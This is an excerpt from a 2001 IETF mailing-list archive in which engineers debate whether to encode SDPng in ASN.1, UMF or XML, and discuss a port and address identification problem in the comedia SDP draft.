635863<BR>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<=
BR></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:mwatson@nortelnetworks.com"=20
  title=3Dmwatson@nortelnetworks.com>Mark Watson</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:'sdp-ng@yahoogroups.com'"=20
  title=3Dsdp-ng@yahoogroups.com>'sdp-ng@yahoogroups.com'</A> ; <A=20
  href=3D"mailto:confctrl@ISI.EDU" =
title=3Dconfctrl@ISI.EDU>confctrl@ISI.EDU</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> 06 June 2001 18:14</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: [sdp-ng] Encoding =
SDPng=20
  messages using UMF</DIV>
  <DIV><BR></DIV><BR>
  <P><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; One thing that =
ASN.1 and=20
  tagged protocols (e.g., </FONT><BR><FONT size=3D2>&gt; keyword/value =
or XML=20
  tags) in general have is the ability to </FONT><BR><FONT size=3D2>&gt; =
send and=20
  receive the information elements in any order.&nbsp; I =
</FONT><BR><FONT=20
  size=3D2>&gt; didn't see that in UMF.&nbsp; Did I miss it?</FONT> =
<BR><FONT=20
  size=3D2>&gt; </FONT></P>
  <P><FONT size=3D2>But this is not a good thing. Strictly speaking, if =
you can=20
  send things in any order, it dramatically increases the number of test =
cases=20
  that you have to run. Surely it's better to have a canonical=20
  encoding.</FONT></P><BR>
  <P><FONT size=3D2>&gt; BTW: I'm not advocating we use ASN.1 for =
SDPng.&nbsp;=20
  This is </FONT><BR><FONT size=3D2>&gt; because I would much prefer to =
use a=20
  tagged protocol.&nbsp; </FONT><BR><FONT size=3D2>&gt; However, if the =
consensus=20
  is that we want to go with an </FONT><BR><FONT size=3D2>&gt; =
IDL/structured=20
  protocol, I would propose we consider adopting </FONT><BR><FONT =
size=3D2>&gt; an=20
  existing specification language.</FONT> <BR><FONT size=3D2>&gt; =
</FONT><BR><FONT=20
  size=3D2>&gt; NOTE: I've never seen "AER" (ASCII Encoding Rules) for =
ASN.1.=20
  </FONT><BR><FONT size=3D2>&gt;&nbsp; However, it would be =
straight-forward to=20
  do.&nbsp; I really, </FONT><BR><FONT size=3D2>&gt; really DON'T want =
to use=20
  ASN.1 with BER or PER!</FONT> <BR><FONT size=3D2>&gt; </FONT></P>
  <P><FONT size=3D2>The ASN.1 Value Notation is effectively an ASCII =
Encoding=20
  Rules.</FONT> </P>
  <P><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; -----Original=20
  Message-----</FONT> <BR><FONT size=3D2>&gt; From: Pete Cordell [<A=20
  =
href=3D"mailto:pete@tech-know-ware.com">mailto:pete@tech-know-ware.com</A=
>]</FONT>=20
  <BR><FONT size=3D2>&gt; Sent: Tuesday, June 05, 2001 8:51 AM</FONT> =
<BR><FONT=20
  size=3D2>&gt; To: sdp-ng@yahoogroups.com; confctrl@isi.edu</FONT> =
<BR><FONT=20
  size=3D2>&gt; Subject: Re: [sdp-ng] Encoding SDPng messages using =
UMF</FONT>=20
  <BR><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; =
</FONT><BR><FONT=20
  size=3D2>&gt; Eric,</FONT> <BR><FONT size=3D2>&gt; </FONT><BR><FONT =
size=3D2>&gt;=20
  That's a good question.</FONT> <BR><FONT size=3D2>&gt; =
</FONT><BR><FONT=20
  size=3D2>&gt; I think the main problem with ASN.1 is that the initial =
versions=20
  were</FONT> <BR><FONT size=3D2>&gt; developed without taking enough of =
the=20
  extensibility issues into</FONT> <BR><FONT size=3D2>&gt; =
consideration.&nbsp;=20
  The addition of information object classes is </FONT><BR><FONT =
size=3D2>&gt; so=20
  complex as</FONT> <BR><FONT size=3D2>&gt; to defy comprehension in my=20
  opinion.&nbsp; I really don't think </FONT><BR><FONT size=3D2>&gt; =
that=20
  someone</FONT> <BR><FONT size=3D2>&gt; should have to put that much =
effort into=20
  understanding </FONT><BR><FONT size=3D2>&gt; something that =
only</FONT>=20
  <BR><FONT size=3D2>&gt; features as a very small part in the =
development=20
  process.</FONT> <BR><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; =
UMF allows=20
  plugging in of additional syntax models with </FONT><BR><FONT =
size=3D2>&gt;=20
  minimal complexity.</FONT> <BR><FONT size=3D2>&gt; You could =
do:</FONT>=20
  <BR><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt;&nbsp;&nbsp; =
module=20
  my-addition</FONT> <BR><FONT size=3D2>&gt;&nbsp;&nbsp; extends =
example;</FONT>=20
  <BR><FONT size=3D2>&gt;&nbsp;&nbsp; plug</FONT> <BR><FONT=20
  size=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
bool&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  uses-tls;</FONT> <BR><FONT size=3D2>&gt;&nbsp;&nbsp; into =
example;</FONT>=20
  <BR><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; in a separate =
definition to=20
  extend what was described before.</FONT> <BR><FONT size=3D2>&gt;=20
  </FONT><BR><FONT size=3D2>&gt; As for other protocol specification =
languages, I=20
  can think of </FONT><BR><FONT size=3D2>&gt; XDR, xBNF, XML</FONT> =
<BR><FONT=20
  size=3D2>&gt; and there's probably a whole bunch of IDLs.</FONT> =
<BR><FONT=20
  size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; To me, the short answer =
is, the fact=20
  that people are looking </FONT><BR><FONT size=3D2>&gt; to XML to =
solve</FONT>=20
  <BR><FONT size=3D2>&gt; there problems indicates that this area isn't =
totally=20
  sown up.</FONT> <BR><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; =
The longer=20
  answer is:</FONT> <BR><FONT size=3D2>&gt; </FONT><BR><FONT =
size=3D2>&gt; XDR is=20
  quite low level, and not as expressive as it could be, =
</FONT><BR><FONT=20
  size=3D2>&gt; although in</FONT> <BR><FONT size=3D2>&gt; some respect =
UMF is an=20
  extension of XDR, minus some stuff that doesn't</FONT> <BR><FONT =
size=3D2>&gt;=20
  really actually convey any more information in the definition than =
is</FONT>=20
  <BR><FONT size=3D2>&gt; already defined elsewhere.</FONT> <BR><FONT =
size=3D2>&gt;=20
  </FONT><BR><FONT size=3D2>&gt; xBNF is too low level.&nbsp; It's like =
working in=20
  machine code all </FONT><BR><FONT size=3D2>&gt; the time.</FONT> =
<BR><FONT=20
  size=3D2>&gt; It's also extremely time consuming and error prone to =
get a=20
  definition</FONT> <BR><FONT size=3D2>&gt; correct.&nbsp; The essence =
of a=20
  protocol can also get lost in the detail.</FONT> <BR><FONT =
size=3D2>&gt; There's=20
  also quite a lot of handle turning to convert this </FONT><BR><FONT=20
  size=3D2>&gt; into useable</FONT> <BR><FONT size=3D2>&gt; code.</FONT> =
<BR><FONT=20
  size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; XML initially doesn't =
have any type=20
  information, which seems bad for a</FONT> <BR><FONT size=3D2>&gt; =
message=20
  definition language.&nbsp; Schemas are fixing that, but =
</FONT><BR><FONT=20
  size=3D2>&gt; the verbosity of</FONT> <BR><FONT size=3D2>&gt; =
specifying all that=20
  again mean the message of the message </FONT><BR><FONT size=3D2>&gt; =
definition=20
  gets</FONT> <BR><FONT size=3D2>&gt; lost in the syntax fluff.&nbsp; =
(It would=20
  actually be better to </FONT><BR><FONT size=3D2>&gt; define a =
message</FONT>=20
  <BR><FONT size=3D2>&gt; in UMF and then automate the conversion to XML =
Schema=20
  using </FONT><BR><FONT size=3D2>&gt; tools, as your</FONT> <BR><FONT =
size=3D2>&gt;=20
  much more likely to get an error free definition that way.)</FONT> =
<BR><FONT=20
  size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; In summary, except for =
ASN.1 (and=20
  XDR) I don't think there </FONT><BR><FONT size=3D2>&gt; are really =
any</FONT>=20
  <BR><FONT size=3D2>&gt; protocol definition languages.&nbsp; All the =
other=20
  examples have </FONT><BR><FONT size=3D2>&gt; been high jacked</FONT> =
<BR><FONT=20
  size=3D2>&gt; from the problem domains that they were originally =
developed=20
  for.&nbsp; The</FONT> <BR><FONT size=3D2>&gt; result is that they =
aren't=20
  particularly a good match for the </FONT><BR><FONT size=3D2>&gt; =
problem=20
  space.</FONT> <BR><FONT size=3D2>&gt; The fact that ASN.1 or XDR are =
not the=20
  first thing people rush to when</FONT> <BR><FONT size=3D2>&gt; =
defining=20
  protocols suggests that there is room for improvement.</FONT> =
<BR><FONT=20
  size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; Pete.</FONT> <BR><FONT =
size=3D2>&gt;=20
  </FONT><BR><FONT size=3D2>&gt;=20
  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</FONT> =
<BR><FONT size=3D2>&gt;=20
  Pete Cordell</FONT> <BR><FONT size=3D2>&gt; Tech-Know-Ware</FONT> =
<BR><FONT=20
  size=3D2>&gt; pete@tech-know-ware.com</FONT> <BR><FONT size=3D2>&gt; =
+44 1473=20
  635863</FONT> <BR><FONT size=3D2>&gt;=20
  =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</FONT> =
<BR><FONT size=3D2>&gt;=20
  [snip]</FONT> <BR><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt;=20
  </FONT><BR><FONT size=3D2>&gt; To unsubscribe from this group, send an =
email=20
  to:</FONT> <BR><FONT size=3D2>&gt; =
sdp-ng-unsubscribe@egroups.com</FONT>=20
  <BR><FONT size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt;&nbsp; =
</FONT><BR><FONT=20
  size=3D2>&gt; </FONT><BR><FONT size=3D2>&gt; Your use of Yahoo! Groups =
is subject=20
  to </FONT><BR><FONT size=3D2><A =
href=3D"http://docs.yahoo.com/info/terms/"=20
  target=3D_blank>http://docs.yahoo.com/info/terms/</A>=20
</FONT></P><BR></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_003E_01C0EF46.85F5C6C0--


From confctrl-owner  Thu Jun  7 09:22:44 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA13146
	for confctrl-outgoing; Thu, 7 Jun 2001 09:22:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA13141
	for <confctrl@zephyr.isi.edu>; Thu, 7 Jun 2001 09:22:42 -0700 (PDT)
Received: from rhenium (rhenium.btinternet.com [194.73.73.93])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f57GMcZ20109
	for <confctrl@isi.edu>; Thu, 7 Jun 2001 09:22:42 -0700 (PDT)
Received: from [213.1.81.250] (helo=tkw)
	by rhenium with smtp (Exim 3.03 #83)
	id 1582Y8-0000jQ-00; Thu, 07 Jun 2001 17:22:20 +0100
Message-ID: <003001c0ef6e$67778120$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: "Henning Schulzrinne" <hgs@cs.columbia.edu>
Cc: <confctrl@ISI.EDU>
References: <NEBBJFHFCKHKFCNLJJBPOEPAFKAA.cabo@tzi.org> <4.3.2.7.2.20010605123222.019e3ae0@mail.real.com> <3B1E1C67.57423509@cs.columbia.edu>
Subject: Re: Encoding SDPng messages using UMF
Date: Thu, 7 Jun 2001 17:24:58 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning,

Are those CPL event descriptors you are talking about?  If not, which ones
do you mean?

Pete.

P.S.  I've chopped off sdp-ng and a number of personal e-mails in this reply
to try and cut down the number of messages that end up on the various lists.
Please let me know if this was a bad move.

=============================================
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=============================================

----- Original Message -----
From: Henning Schulzrinne <hgs@cs.columbia.edu>
To: Jeff Ayars <jeffa@real.com>
Cc: Pete Cordell <pete@tech-know-ware.com>; Dr. Carsten Bormann
<cabo@tzi.org>; Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>;
<confctrl@ISI.EDU>; <sdp-ng@egroups.com>
Sent: 06 June 2001 13:04
Subject: Re: Encoding SDPng messages using UMF


>
>
> Jeff Ayars wrote:
> >
> >
> > XSL solves the data type problem in another existing standard way.
>
> I assume you mean (at least also) XML schemas, as XSL is a
> transformation language (*). (But XSL is a good example of the power of
> using a widely used mechanism rather than inventing your own. For
> example, we were able to create XSL which automatically renders CPL
> scripts as a tree in HTML. I suspect that something similar would be
> useful for SDPng.)
>
> (*) "XML Schemas express shared vocabularies and allow machines to carry
> out rules made by people. They provide a means for defining the
> structure, content and semantics of XML documents."
>
> >
> > I already have an XML parser in my product.  YAPS (Yet Another Protocol
> > Syntax) == YAPP (Yet another protocol parser).  I don't want to bloat my
> > product with YAPP.
>
> Particularly since other pieces of a multimedia component already need
> XML, such as event descriptions.
>
> >
> > JEff
>


From confctrl-owner  Thu Jun  7 09:31:08 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA13551
	for confctrl-outgoing; Thu, 7 Jun 2001 09:31:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA13546
	for <confctrl@zephyr.isi.edu>; Thu, 7 Jun 2001 09:31:06 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f57GV6Z22408
	for <confctrl@ISI.EDU>; Thu, 7 Jun 2001 09:31:06 -0700 (PDT)
Received: from bart.cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id MAA19062;
	Thu, 7 Jun 2001 12:31:05 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by bart.cs.columbia.edu (8.9.3+Sun/8.9.3) with ESMTP id MAA24837;
	Thu, 7 Jun 2001 12:31:05 -0400 (EDT)
Message-ID: <3B1FD771.F4A8F1D3@cs.columbia.edu>
Date: Thu, 07 Jun 2001 12:35:13 -0700
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Pete Cordell <pete@tech-know-ware.com>
CC: confctrl@ISI.EDU
Subject: Re: Encoding SDPng messages using UMF
References: <NEBBJFHFCKHKFCNLJJBPOEPAFKAA.cabo@tzi.org> <4.3.2.7.2.20010605123222.019e3ae0@mail.real.com> <3B1E1C67.57423509@cs.columbia.edu> <003001c0ef6e$67778120$0200000a@tkw>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Pete Cordell wrote:
> 
> Henning,
> 
> Are those CPL event descriptors you are talking about?  If not, which ones
> do you mean?

I'm talking about the Call Processing Language, the iptel work item for
IP telephony call handling, which is an XML DTD. A student here
developed a nice XSL script (or whatever you call them) that renders any
valid CPL script as an HTML page, showing the tree structure of the
nodes and various other features.

From confctrl-owner  Fri Jun  8 09:42:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA08151
	for confctrl-outgoing; Fri, 8 Jun 2001 09:42:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA08146
	for <confctrl@zephyr.isi.edu>; Fri, 8 Jun 2001 09:42:07 -0700 (PDT)
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f58Gg2Z11708
	for <confctrl@isi.edu>; Fri, 8 Jun 2001 09:42:02 -0700 (PDT)
Received: from 157.54.9.108 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 08 Jun 2001 09:40:53 -0700 (Pacific Daylight Time)
Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-imc-05.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883);
	 Fri, 8 Jun 2001 09:40:41 -0700
Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883);
	 Fri, 8 Jun 2001 09:40:35 -0700
Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 8 Jun 2001 09:39:28 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [sdp-ng] Encoding SDPng messages using UMF
Date: Fri, 8 Jun 2001 09:39:27 -0700
Message-ID: <F66A04C29AD9034A8205949AD0C9010418BE4F@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [sdp-ng] Encoding SDPng messages using UMF
Thread-Index: AcDvP1amHX72K047Suy+kTYzoya+iAA+DJxA
From: "Christian Huitema" <huitema@windows.microsoft.com>
To: "Pete Cordell" <pete@tech-know-ware.com>, <confctrl@ISI.EDU>
X-OriginalArrivalTime: 08 Jun 2001 16:39:28.0141 (UTC) FILETIME=[95AE63D0:01C0F039]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id JAA08147
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If, at this date and time, you want to not use XML, then you need an
extremely strong case. XML is well understood, there are many support
tools, and many more are in development. The W3C is producing a schema
description language which is considered adequate for many business
applications, many of which are way more complex than SDP.

The talks about ASN.1 are just that -- talks. The only possible
advantage of ASN.1 is the size of the messages, but even that is
debatable. On the other hand, the cost is very well known: you need
specialized parsers and libraries, you cannot easily use text tools for
debugging or monitoring purposes, and the syntax is hard to understand
and a pain to extend. Most of the proponents of ASN.1 actually propose
some variation of it, which is even worse, since it would require even
more specific tools.

The main inconvenient of XML is that it can be bulky. I am not convinced
that this is an actual problem: SDP is used for describing multimedia
sessions, that normally last a few minutes and carry at a minimum
several tens of kilobytes of media; the media stream dwarfs the
signaling stream by orders of magnitude. If it is an actual problem,
then we can indeed use compression. In fact, we can safely assume that
other applications will be hurt before us, and that we will get generic
XML compression tools sooner or later. All in all, that should not be a
big problem.

Let's not be silly. Just pick XML.

-- Christian Huitema

From confctrl-owner  Fri Jun  8 11:01:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA11267
	for confctrl-outgoing; Fri, 8 Jun 2001 11:01:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA11262
	for <confctrl@zephyr.isi.edu>; Fri, 8 Jun 2001 11:01:03 -0700 (PDT)
Received: from snap.CS.Berkeley.EDU (IDENT:root@snap.CS.Berkeley.EDU [128.32.37.81])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f58I14Z16164
	for <confctrl@ISI.EDU>; Fri, 8 Jun 2001 11:01:04 -0700 (PDT)
Received: (from lazzaro@localhost)
	by snap.CS.Berkeley.EDU (8.9.3/8.9.3-ZUUL) id LAA05493
	for confctrl@ISI.EDU; Fri, 8 Jun 2001 11:00:49 -0700
Date: Fri, 8 Jun 2001 11:00:49 -0700
From: John Lazzaro <lazzaro@CS.Berkeley.EDU>
Message-Id: <200106081800.LAA05493@snap.CS.Berkeley.EDU>
To: confctrl@ISI.EDU
Subject: RE: [sdp-ng] Encoding SDPng messages using UMF
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> "Christian Huitema" <huitema@windows.microsoft.com> writes
>
> The main inconvenient of XML is that it can be bulky. I am not convinced
> that this is an actual problem: SDP is used for describing multimedia
> sessions, that normally last a few minutes and carry at a minimum
> several tens of kilobytes of media; the media stream dwarfs the
> signaling stream by orders of magnitude.

If the size of the SIP header + the size of the XML-encoded 
SDPng message is greater than the MTU, then using UDP for SIP 
transactions means fragmentation of SIP UDP packets becomes
commonplace. I'm not familiar with just how inefficient XML 
really is, but if XML-encoded SDPngs are approaching the 
1500 byte Ethernet MTU, I believe there is cause for concern ...

-------------------------------------------------------------------------
John Lazzaro -- Research Specialist -- CS Division -- EECS -- UC Berkeley
lazzaro [at] cs [dot] berkeley [dot] edu     www.cs.berkeley.edu/~lazzaro
-------------------------------------------------------------------------

From confctrl-owner  Fri Jun  8 11:33:52 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA12933
	for confctrl-outgoing; Fri, 8 Jun 2001 11:33:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA12928
	for <confctrl@zephyr.isi.edu>; Fri, 8 Jun 2001 11:33:51 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f58IXpZ01903
	for <confctrl@isi.edu>; Fri, 8 Jun 2001 11:33:51 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f58IWMX25442
	for <confctrl@isi.edu>; Fri, 8 Jun 2001 14:32:22 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAM04700 (AUTH pkyzivat);
	Fri, 8 Jun 2001 14:33:44 -0400 (EDT)
Message-ID: <3B2119B4.E4B4A768@cisco.com>
Date: Fri, 08 Jun 2001 14:30:12 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: MMUSIC <confctrl@ISI.EDU>
Subject: [Sip-implementors] problem in draft-ietf-mmusic-sdp-comedia-00?
References: <15130.21550.973473.551003@jodie.lucid>
			<20010604093456.A7248@div8.net> <15131.39170.605054.116421@jodie.lucid>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I believe there are some problems in draft-ietf-mmusic-sdp-comedia-00,
at least when used with SIP. I made a posting to sip-implementors
earlier but got no responses, so I will try here.

Consider an endpoint like a gateway that might be establishing many
connections simultaneously, and assume it wants to act in
direction:passive or direction:both. To do so, it hands out SDP
specifying the port number it will listen on for connections. If it uses
the same port number for multiple concurrent connections, then it will
have difficulty in telling which incoming connection belongs to each
pending call. (This is essentially the same problem that section 3 -
Source-Port Considerations attempts to address, but the problem is
actually a larger one that the draft doesn't address.)

The <source-port> is supposed to make it possible to sort this out. But
that can only distinguish between incoming connections from the same
address - requests from different addresses could be using the same
port.

Perhaps the draft assumes that the connection will be from the c= in the
sdp from the other endpoint. But that is a pretty shaky assumption.

The only certain solution I can see without changing the draft is to
dedicate a listening port for the duration of a single invitation. But
this is a costly solution. Alternately, the syntax could be extended to:

       a=direction:<role> <source-port> <source-address>

I believe this would solve the problem if <source-port> and
<source-address> are provided. Ensuring this would require making them
mandatory rather than optional as currently specified.

	Paul Kyzivat
	Cisco Systems

From confctrl-owner  Fri Jun  8 14:50:52 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA24551
	for confctrl-outgoing; Fri, 8 Jun 2001 14:50:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA24546
	for <confctrl@zephyr.isi.edu>; Fri, 8 Jun 2001 14:50:51 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f58LoiZ07081
	for <confctrl@ISI.EDU>; Fri, 8 Jun 2001 14:50:46 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net ([10.0.0.14])
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id RAA01172;
	Fri, 8 Jun 2001 17:51:09 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010608174046.00a61a40@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 08 Jun 2001 17:49:50 -0400
To: Paul Kyzivat <pkyzivat@cisco.com>, MMUSIC <confctrl@ISI.EDU>
From: David Yon <yon@dialout.net>
Subject: Re: [Sip-implementors] problem in
  draft-ietf-mmusic-sdp-comedia-00?
In-Reply-To: <3B2119B4.E4B4A768@cisco.com>
References: <15130.21550.973473.551003@jodie.lucid>
 <20010604093456.A7248@div8.net>
 <15131.39170.605054.116421@jodie.lucid>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The crux of the argument here appears to be that:

         (a) I can't trust the IP address given in the SDP, therefore
         (b) the port number is not sufficient to identify the endpoint.

On the face of it the above is true, but it begs the question of why you 
wouldn't trust the IP address.  The only reason I can think of is when the 
other end is behind a N/PAT router, in which case you can't trust the port 
number either.  All bets are off at that point, and to make the network 
topology work you really need to have a SIP-aware N/PAT engine (or one that 
is cooperating with the local SIP proxy to rewrite the SDP to accommodate 
the public/private addressing).

I would submit that is is not a goal for comedia to solve the N/PAT 
problem, and that in the case of non-manipulated addressing the 
IP/Port-IP/Port pair is sufficient to uniquely identify the session.

If N/PAT was not the scenario you were considering, could you elaborate 
more on issue?  Thanks!

At 02:30 PM 6/8/2001, Paul Kyzivat wrote:
>I believe there are some problems in draft-ietf-mmusic-sdp-comedia-00,
>at least when used with SIP. I made a posting to sip-implementors
>earlier but got no responses, so I will try here.
>
>Consider an endpoint like a gateway that might be establishing many
>connections simultaneously, and assume it wants to act in
>direction:passive or direction:both. To do so, it hands out SDP
>specifying the port number it will listen on for connections. If it uses
>the same port number for multiple concurrent connections, then it will
>have difficulty in telling which incoming connection belongs to each
>pending call. (This is essentially the same problem that section 3 -
>Source-Port Considerations attempts to address, but the problem is
>actually a larger one that the draft doesn't address.)
>
>The <source-port> is supposed to make it possible to sort this out. But
>that can only distinguish between incoming connections from the same
>address - requests from different addresses could be using the same
>port.
>
>Perhaps the draft assumes that the connection will be from the c= in the
>sdp from the other endpoint. But that is a pretty shaky assumption.
>
>The only certain solution I can see without changing the draft is to
>dedicate a listening port for the duration of a single invitation. But
>this is a costly solution. Alternately, the syntax could be extended to:
>
>        a=direction:<role> <source-port> <source-address>
>
>I believe this would solve the problem if <source-port> and
><source-address> are provided. Ensuring this would require making them
>mandatory rather than optional as currently specified.
>
>         Paul Kyzivat
>         Cisco Systems


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Fri Jun  8 15:50:29 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA28099
	for confctrl-outgoing; Fri, 8 Jun 2001 15:50:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA28094
	for <confctrl@zephyr.isi.edu>; Fri, 8 Jun 2001 15:50:27 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f58MoRZ00022
	for <confctrl@ISI.EDU>; Fri, 8 Jun 2001 15:50:27 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
